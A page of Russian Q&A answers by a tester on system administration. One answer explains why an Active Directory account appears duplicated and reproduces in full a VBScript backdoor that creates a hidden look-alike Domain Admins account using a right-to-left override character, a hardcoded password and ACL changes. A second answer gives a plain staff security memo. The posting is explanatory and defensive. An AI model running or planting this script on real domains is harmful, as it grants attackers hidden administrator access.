Ответы пользователя по тегу Системное администрирование
  • Почему двоятся учетные записи Active directory?

    @polarnik
    Тестировщик
    Если негативные варианты рассматриваются, то это взлом.
    Вторая учётка имеет имя g_nimdAceTmoC, + первый символ указывает обратное направление текста.
    Такой ход используется, чтобы визуально скрыть наличие в списке контроля доступа нового пользователя.
    Подробнее смотрите в вебинаре
    Тестирование на проникновение в сетях Microsoft (Дмитрий Евтеев, руководитель отдела анализа защищенности, Positive Technologies, 15.03.2012 14:00)
    http://www.ptsecurity.ru/ics/Тестир_на_проникн_в_с... (со слайда 23)
    или
    my.comdi.com/record/46030

    update: 17 января 2015 года.
    Читал Exploit-db и нашел статью Дмитрия Евтеева. Где есть скрипт для создания учётной записи, которая выглядит как двойная.
    www.exploit-db.com/wp-content/themes/exploit/docs/...
    Статья на русском языке:
    devteev.blogspot.ru/2012/01/backdoor-active-direct...

    On Error Resume Next
    strAdminsamAccountName = "dmitry.ivanov"
    strAdminsGroup = "Domain Admins"
    strPassNewUser = "P@ssw0rd"
    
    '---
    
    Dim arrContainer(), i
    
    Set objRootDSE = GetObject("LDAP://RootDSE")
    strDomain = objRootDSE.Get("DefaultNamingContext")
    Set objDomain = GetObject("LDAP://" & strDomain)
    
    strAdminsamAccountNameDN = SearchDN("' WHERE objectCategory='user' AND samAccountName = '" & strAdminsamAccountName & "'")
    
    If Not IsNull(strAdminsamAccountNameDN) Then
            Set objAdmin = GetObject("LDAP://" & strAdminsamAccountNameDN)
            Set objOU = GetObject(objAdmin.parent)
    
            i=0
            Call EnumOUs(objOU)
            For j = i-1 To 0 Step-1
                    if strContainer="" Then
                            strContainer = "OU=" & arrContainer(j) & strContainer
                            primaryContainer = strContainer
                    Else
                            strContainer = "OU=" & arrContainer(j) & "," & strContainer
                    End if
                    
                    Set objOUcreate = objDomain.Create("organizationalUnit", strContainer)
                    objOUcreate.SetInfo
            Next
            
            Set objContainer = GetObject("LDAP://" & strContainer & "," & strDomain)
            Set objUserCreate = objContainer.Create("User", "cn=" & ChrW(8238) & StrReverse(objAdmin.displayName))
            objUserCreate.Put "sAMAccountName", ChrW(8238) & StrReverse(strAdminsamAccountName)
            objUserCreate.SetInfo
            
            On Error Resume Next
            
            objUserCreate.SetPassword strPassNewUser
            objUserCreate.Put "userAccountControl", 66048
            objUserCreate.Put "givenName", ChrW(8238) & StrReverse(objAdmin.givenName)
            objUserCreate.Put "sn", ChrW(8238) & StrReverse(objAdmin.sn)
            objUserCreate.Put "initials", ChrW(8238) & StrReverse(objAdmin.initials)
            objUserCreate.SetInfo
            
            On Error Resume Next
            
            objUserCreate.Put "showInAdvancedViewOnly", "TRUE"
            objUserCreate.SetInfo
            
            On Error Resume Next
            
            NewUserDN = "cn=" & ChrW(8238) & StrReverse(objAdmin.displayName) & "," & objContainer.distinguishedName
            strAdminsGroupDN = SearchDN("' WHERE objectCategory='group' AND samAccountName = '" & strAdminsGroup & "'")
            
            If Not IsNull(strAdminsGroupDN) Then
                    Set objGroup = GetObject("LDAP://" & strAdminsGroupDN)
                    objGroup.PutEx 4, "member", Array(strAdminsamAccountNameDN)
                    objGroup.SetInfo
                    objGroup.PutEx 3, "member", Array(NewUserDN)
                    objGroup.SetInfo
            End If
            
            OUAddAce(primaryContainer & "," & strDomain)
    End If
    
    
    Function SearchDN(str)
            Set objConnection = CreateObject("ADODB.Connection")
            
            objConnection.Provider = "ADsDSOObject"
            objConnection.Open "Active Directory Provider"
            
            Set objCommand = CreateObject("ADODB.Command")
            Set objCommand.ActiveConnection = objConnection
            objCommand.Properties("Searchscope") = 2
            
            objCommand.CommandText = "SELECT distinguishedName FROM 'LDAP://" & strDomain & str
            Set objRecordSet = objCommand.Execute
            
            If Not objRecordSet.EOF Then
                    SearchDN = objRecordSet.Fields("distinguishedName").Value
            End if
    End Function
    
    
    Sub EnumOUs(objChild)
            Dim objParent
            Set objParent = GetObject(objChild.Parent)
            
            If (objParent.Class = "organizationalUnit") Then
                    ReDim Preserve arrContainer(i + 1)
                    arrContainer(i) = objChild.ou
                    i=i+1
                    Call EnumOUs(objParent)
            Else
                    ReDim Preserve arrContainer(i + 1)
                    arrContainer(i) = objChild.ou & ChrW(128)
                    i=i+1
            End If
    End Sub
    
    
    Function OUAddAce(OU)
            Dim objSdUtil, objSD, objDACL, objAce
            Set objOU = GetObject ("LDAP://" & OU)
    
            Set objSdUtil = GetObject(objOU.ADsPath)
            Set objSD = objSdUtil.Get("ntSecurityDescriptor")
            Set objDACL = objSD.DiscretionaryACL
            Set objAce = CreateObject("AccessControlEntry")
    
            objAce.Trustee = "Everyone"
            objAce.AceFlags = 2
            objAce.AceType = 6
            objAce.AccessMask = 16
            objAce.Flags = 1
            objAce.ObjectType = "{E48D0154-BCF8-11D1-8702-00C04FB96050}"
            objDacl.AddAce objAce
    
            objSD.DiscretionaryAcl = objDacl
            objSDUtil.Put "ntSecurityDescriptor", Array(objSD)
            objSDUtil.SetInfo
            
            Set objNtSecurityDescriptor = objOU.Get("ntSecurityDescriptor")
            intNtSecurityDescriptorControl = objNtSecurityDescriptor.Control
            intNtSecurityDescriptorControl = intNtSecurityDescriptorControl Xor &H1000
            objNtSecurityDescriptor.Control = intNtSecurityDescriptorControl
            objOU.Put "ntSecurityDescriptor", objNtSecurityDescriptor
            objOU.SetInfo
    End Function


    Завтра посижу подумаю, на свежую голову. Как написать обратный скрипт. Выявляющий учётные записи с символом ChrW(8238) в наименовании. Думаю, просто такой скрипт сделать. Но для проверки работы такого чекера понадобится тестовый домен, в котором будут созданы "двойные" записи.
    Ответ написан
    1 комментарий
  • Как создать памятку по методике работы с информацией с целью улучшения информационной безопасности?

    @polarnik
    Тестировщик
    Простая памятка имеет большие шансы на выполнение (ведь суровые законы компенсируются необязательностью их выполнения).

    Блокировать компьютер.
    Пользоваться ПО из указанного списка (пользоваться другим ПО нежелательно), сделать узел с разрешенным ПО и сетевой каталог.
    Для мобильных устройств использовать подключение к сетям 1, 2, 3 (подключаться через другие точки доступа запрещено, при появлении других точек сообщить).
    ...
    Если возможно, сделать пользователей не админами - сделать их не админами. Указать куда надо складывать данные, для которых будет осуществляться автоматическое резервное копирование. Указать как и кто может восстановить эти данные.
    ...
    Рассказать что делать, если прокси говорит пользователю, что узел не найден или заблокирован. И закрыть лишнее. Сделать узел с ответами на частые вопросы - как что настроить, что делать если что-о заблокировано (такие детали не надо писать в памятке).
    ...
    Разделить информацию по грифам/категориям. Данные клиентов, учётные документы - одна категория (доступ только у трёх человек, всё зашифровано). Данные для внутреннего использования. Данные, которые можно сообщать.

    В работе есть такие памятки. Разнесены по нескольким документам. Но их можно объединить в один небольшой.
    Ответ написан
    Комментировать